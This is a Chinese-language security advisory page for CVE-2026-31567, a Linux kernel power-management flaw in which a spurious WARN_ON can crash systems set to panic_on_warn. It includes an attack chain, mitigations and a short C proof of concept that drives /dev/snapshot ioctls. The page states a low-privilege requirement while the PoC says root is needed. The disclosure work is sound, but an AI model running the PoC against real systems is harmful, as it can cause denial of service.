IPBUF安全漏洞报告
English
CVE-2026-31567 CVSS 5.5 中危

CVE-2026-31567 Linux Kernel pm_restore_gfp_mask拒绝服务漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31567
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel拒绝服务DoS本地漏洞电源管理GFP Mask

漏洞概述

Linux内核电源管理子系统中存在逻辑缺陷,导致在特定休眠路径下触发虚假警告。该漏洞源于GFP掩码引用计数管理机制的变更,当pm_restore_gfp_mask()在saved_gfp_count为0时被防御性调用,会触发WARN_ON()。在某些配置下(如panic_on_warn),这可能导致系统崩溃或拒绝服务。

技术细节

该漏洞位于Linux内核的电源管理(PM)模块。Commit 35e4a69b2003f引入了基于引用计数的GFP掩码管理,以允许pm_restrict_gfp_mask()堆栈调用。然而,某些休眠路径(如uswsusp接口的SNAPSHOT_CREATE_IMAGE、SNAPSHOT_UNFREEZE等)会防御性地调用pm_restore_gfp_mask()。如果此时saved_gfp_count为0,函数会触发WARN_ON()警告。尽管这通常只是产生日志垃圾,但如果系统启用了panic_on_warn,将导致内核崩溃,从而影响系统可用性(A:H)。攻击者需具备本地低权限即可触发此问题。

攻击链分析

STEP 1
1. 获取访问权限
攻击者需要获得目标系统的本地低权限访问权限。
STEP 2
2. 触发休眠路径
攻击者调用特定的系统接口(如uswsusp的SNAPSHOT_CREATE_IMAGE或SNAPSHOT_UNFREEZE),导致内核执行pm_restore_gfp_mask()函数。
STEP 3
3. 触发逻辑错误
由于引用计数不匹配(saved_gfp_count为0时调用恢复),内核触发WARN_ON()检查。
STEP 4
4. 系统可用性受损
如果系统配置了panic_on_warn,警告将导致内核崩溃,造成拒绝服务;否则将大量填充系统日志,影响性能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-31567 * This code attempts to trigger the spurious WARN_ON in pm_restore_gfp_mask * by interacting with the uswsusp interface (snapshot device). * Requires root or appropriate permissions to access /dev/snapshot. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> /* IOCTL definitions typically found in kernel headers */ #define SNAPSHOT_CREATE_IMAGE _IOR('S', 0x10, int) #define SNAPSHOT_UNFREEZE _IO('S', 0x15) int main() { int fd = open("/dev/snapshot", O_RDWR); if (fd < 0) { perror("Failed to open /dev/snapshot"); return 1; } printf("Attempting to trigger pm_restore_gfp_mask warning...\n"); // Calling CREATE_IMAGE may trigger the suspend path where the bug occurs // depending on the kernel state and refcount. if (ioctl(fd, SNAPSHOT_CREATE_IMAGE, 0) < 0) { perror("IOCTL SNAPSHOT_CREATE_IMAGE failed (expected if not in correct state)"); } // Subsequent operations might trigger the defensive restore call if (ioctl(fd, SNAPSHOT_UNFREEZE) < 0) { perror("IOCTL SNAPSHOT_UNFREEZE failed"); } close(fd); printf("Check dmesg for WARN_ON output.\n"); return 0; }

影响范围

Linux Kernel < 提交3025ca5daa9d之前的版本
Linux Kernel < 提交a8d51efb5929之前的版本
Linux Kernel < 提交f19d1323aa3d之前的版本

防御指南

临时缓解措施
建议限制对/dev/snapshot等休眠相关设备的访问权限,防止非授权用户调用相关接口。若无法立即升级,可检查并调整内核参数panic_on_warn以避免因警告导致的系统崩溃,但这仍会产生日志垃圾。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表